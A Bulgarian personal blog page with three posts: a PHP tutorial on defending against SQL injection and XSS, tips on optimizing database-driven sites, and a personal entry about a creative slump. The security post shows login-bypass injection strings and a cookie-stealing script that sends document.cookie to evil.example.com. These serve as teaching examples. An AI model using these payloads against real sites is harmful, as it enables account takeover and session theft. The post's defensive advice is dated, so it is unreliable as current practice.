Защита от MySQL Injection и XSS атаки в PHP

януари 25, 2009 от Васил Тошков · 11 коментара
Категории: Програмиране 

Защитата на едно уеб приложение е един от най-важните етапи, заедно с проектирането и оптимизацията му. В днешно време все по-малко се обръща внимание на защитата на уеб приложенията. Атаките далеч не се свеждат само до MySQL Injection и XSS. Има и още много други, като фалшиви HTTP заявки, brute-force атаки, публично излагане на код, открадване (фиксиране) на сесия и други.

MySQL Injection и XSS, обаче, са най-често срещаните атаки, поради многото сайтове уязвими към тях. Това са атаки, които се основават на уязвимости при изпращането и получаването на информация между потребителя и сървъра. Правилото, което трябва да се спазва, е че всичко, което влиза и излиза от базата данни, трябва да се филтрира! Не трябва да се има доверие и на никакви данни, представени от потребителя!

Повечето хора мислят, че е достатъчно да се филтрира само входната информация към базата данни. Не е достатъчно и опитът е показал, че и изходната информация трябва да се филтрира, за да се предпазим от така нареченото cross-site криптиране (XSS). Трябва и винаги да реализираме методи за защита в дълбочина, ако основната защита се бъгне или бъде заобиколена.

MySQL Injection

SQL инжектирането е най-често срещаната уязвимост в PHP приложенията. То се основава на грешка на PHP програмиста, при която не се филтрира информацията, подадена към базата данни. Често не се филтрира и върнатия резултат, при което се разкриват ценни данни и пътища. За да онагледя опасността от MySQL Injection, ще дам един прост пример.

Ако нашият скрипт за вход в системата има синтаксис от рода:
$sql = „SELECT * FROM users WHERE username = ‘$user’ AND password = ‘$pass’“. Ако към тази заявка, нарушителят подаде единична кавичка за потребителско име и произволна парола, заявката ще върне следната грешка:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘WHERE username = ‘ ‘ ‘ AND password = ’sometext

С много малко работа (подаване на кавичка), нарушителят вече знае имената на две колони от таблицата и това, че данните и в двете посоки не са филтрирани правилно. Нарушителят знае и синтаксиса на клаузата WHERE, от където може да си сглоби заявки за всичко, което му трябва. Примерно:

myuser ‘ or ‘foo’ = ‘foo’ – -

Ако това се въведе като потребителско име, нарушителят ще влезе успешно в системата, без да има нито потребителско име, нито парола. А ако нарушителят знае потребителско име с нужните му права, той може да влезе и с него, без да му се налага да знае паролата. Просто въвежда за потребител:

cloxy’ – -

За щастие, SQL инжектирането се избягва много лесно. Просто всички променливи, които се вкарват в една MySQL заявка, трябва да бъдат филтрирани с функцията mysql_real_escape_string(). В горния пример, това са променливите $user и $pass. Синтаксисът е както следва: $user = mysql_real_escape_string($user) и така за $pass.

Cross-site криптиране (XSS)

XSS е втората по разпространение атака след MySQL Injection. Застрашени са всички сайтове, които визуализират входяща информация. Такива са блогове, форуми, книги за гости, дори приложенията за електронна поща. Ако тази входяща информация не е правилно филтрирана и декодирана, се получава уязвимост от XSS.

Представете си, че в някой много посещаван блог или форум, нарушител успее да вкара в коментара си следния код:

<script>
document.location = ‘http://evil.example.com/steal.php?cookies=’ + document.cookie
</script>

Изпращането на този коментар към потребителите Ви не е по-различно от това да разрешите някой друг да добави малка част JavaScript към кода Ви. Вашите потребители неволно ще изпратят своите бисквитки към злия сайт. Това ще разкрие сесиите на потребителите и други любопитни данни.

Това също се предотвратява много лесно. Просто трябва да се декодира изходната информация, за да се декодират всички специални символи, които са HTML еквивалентни. Аз препоръчвам функцията htmlentities(), която най-често се параметризира така: $content = htmlentities($content, ENT_QUOTES, ‘utf-8′);

Както виждате, много е лесно човек да се защити, въпросът е да знае как и къде да приложи знанията си. В тази статия съм използвал примери от книгата „Основи на PHP сигурността“ на издателство O’REILLY. Препоръчвам я горещо на всички, които искат да се опазят от най-страшните атаки в мрежата.

Оптимизация на динамични сайтове и скриптове

ноември 13, 2008 от Васил Тошков · 16 коментара
Категории: Програмиране 

Не, този път няма да пиша за SEO оптимизация, както обикновено, а за един друг вид оптимизация, която пренебрегваме още по-често – оптимизацията на кода на даден сайт или скрипт. Тя е също толкова важен елемент от успеха на един сайт, колкото е и SEO оптимизацията.

Повечето хора си качват сайтовете на така популярния и удобен „споделен хостинг“. Но този хостинг е споделен и трябва да се спазва определена култура, когато се използва. Различните сайтове използват споделени ресурси и когато един сайт товари повече и заема повече памет, то това се отразява на всички други.

Рядко се налага един сайт да има толкова много потребители и изчислителни нужди, че да се наложи да работи на VPS или на собствен сървър. Последните ми разработки около referring sites скрипта ми доказаха, че един сайт с много изчисления и потребители може да се оптимизира и да хаби ресурси колкото обикновен блог.

Хората рядко мислят за оптимизация на програмите си. В днешния свят на постоянно развиващи се технологии, сякаш може с малко по-скъп хардуер да се подкара всяка една програма. В същност не е така – когато даден сайт започне да прави значителен брой посещения – тогава проблемът с ресурсите може да се реши само чрез оптимизация на скриптовете му.

Ето и някои основни принципи, без да се задълбавам:

1. Използване на функции, изискващи по-малко ресурси.

Примерно в PHP е много по-ефективно да се използват функциите strpos() и strstr() за търсене на низ в текст, отколкото функцията preg_match(). Последната е проектирана за регулярни изрази и заема много повече памет и ресурси. Проверявайте за всяка функция какво прави и дали няма по-добра алтернатива.

2. Минимизиране на връзките към базата данни.

Това може би е най-често срещания проблем при разработка на уеб скриптове – големият брой връзки към базата данни. Често начинаещите програмисти извикват връзка всеки път, когато им е нужна дадена информация. В повечето случаи има начин необходимата информация да се вземе предварително и наведнъж, и да не се занимава допълнително SQL сървърът.

3. Използване на индекси (кеширане) на SQL ниво.

Повечето системи за обработка на бази данни, като MySQL, поддържат така нареченото кеширане на колони. То е полезно, когато ще търсим в дадена колона или ще сортираме по нея. Примерно, ако имате колона client и често Ви се налага заявка от вида: „SELECT * FROM clients WHERE client LIKE ‘%Ivanov’“, то добавете индекс към client.

4. Кеширане на информация с цел избягване на повторни заявки

Става въпрос за класическото кеширане, при което примерно създаваме отделен HTML за всяка страница и го качваме на сървъра. При следващо извикване на съответната страница, не товарим базата данни със заявки, а просто зареждаме кешираното копие. При промени в скрипта, всичко се кешира на ново, което е много по-оптимизиран процес.

5. Използване на бази данни в трета нормална форма

Това е малко по-сложно за кратко обяснение, но идеята е да има повече малки таблици с външни ключове между тях. Целта е да се избягват служебно празни полета и/или повтаряне на данни в дадена колона. Така се пести място и многократно се ускорява работата на системата. В MySQL външни ключове се правят при основа InnoDB.

6. Използване на PHP или сървърния скрипт само където е необходимо

Може цяла една HTML или друга страница да се генерира чрез PHP, примерно, но това изисква много повече функции и ресурси. Изглежда и по-сложно. Затова сървърният скрипт трябва да се използва само там, където наистина има нужда от него. Примерно, за изписване на текст не е нужно да викате echo „Ала бала“;, а е достатъчно да си напишете текста.

7. Избягване на типове като BLOB в SQL системата

Много често с цел улесняване на дадена задача, ни е по-лесно да качим дадена снимка или видео директно в базата данни в бинарна форма. Това обаче е страшно натоварващо за системата. Много по-ефективно е да качим снимките/видеотата в директория и в базата данни да пазим само връзки към тях. А BLOB се използва само когато няма друг начин.

Това са основните моменти, за които се сетих. Разбира се, няма как да съм изчерпателен. Оптимизацията си е цяло едно изкуство, но винаги може да се оптимизира повече. Въпросът е къде е разумната и приемлива граница. Чрез избягването на най-често срещаните грешки се вдига ефективността многократно. Тук описах повечето от тях.

Налегнала ме е творческа криза

април 12, 2008 от Васил Тошков · 6 коментара
Категории: Лични 

Нещо последните дни ми се е загубило вдъхновението. Сигурно някаква пролетна умора ме е налегнала. Не ми идва определена тема по която да пиша, затова ще се опитам да документирам хаоса в главата ми. Креативният пишеше някакви съвети какво да правим в ситуация на творческа криза. Трябва да се напъна и да ги прочета отново, че съм ги позабравил.

Успях да завърша програмирането на новия дизайн на Хамали БГ. Бях го оставил като второстепенна задача, защото не е много свързано със SEO-то. Тежеше ми и трябваше да завърша тази работа, защото бях обещал, а и колегите хамали са ми симпатични. Станал съм много добър в рязането на сайтове (колегите го казват), а ми доставя и удоволствие.

Един дизайн го нарязвам за 1-3 часа, което е прекалено малко време, а заплащането до колкото съм чувал на подобен вид дейност започва от 150-200 лева на страница. Ако SEO-то умре ще знам на къде да се насоча :) Следващата ми цел е да напредна малко и с програмирането на PHP и най-вече комбинацията му с MySQL база данни. Имам познания и в двете, но на любителско ниво.

Преди няколко дни видях в книжарницата една много привлекателна и нова книга за PHP. След като ми остане време да прочета 2 книги, които съм си купил и още не съм ги дочел, ще се захвана и с тази. Проблемът е, че от университета постоянно ме занимават с глупости и най-вече великия език Java, който нещо не ми е присърце, въпреки че и него се наложи да науча.

Нещо много полезно – не съм много навътре с ping-овете на Wordpress, но е факт първата българска ping услуга. С няколко думи: добавя се адресът http://rpc.pingnime.com/ във Settings -> Writing -> Update Services на системата Wordpress и ботовете по най-бързия начин научават, че има нещо ново, публикувано в съответния блог. Сложил съм го на българските си блогове.

По-подробно по темата: Wordpress ping. Невероятна е скоростта, с която се развиват блоговете и изобщо социалните мрежи у нас и по света. Толкова нови услуги се появяват, че не мога да схвана идеята на повечето от тях поне месец след излизането им. Трудно е човек да си представи Интернет след 10 години… :)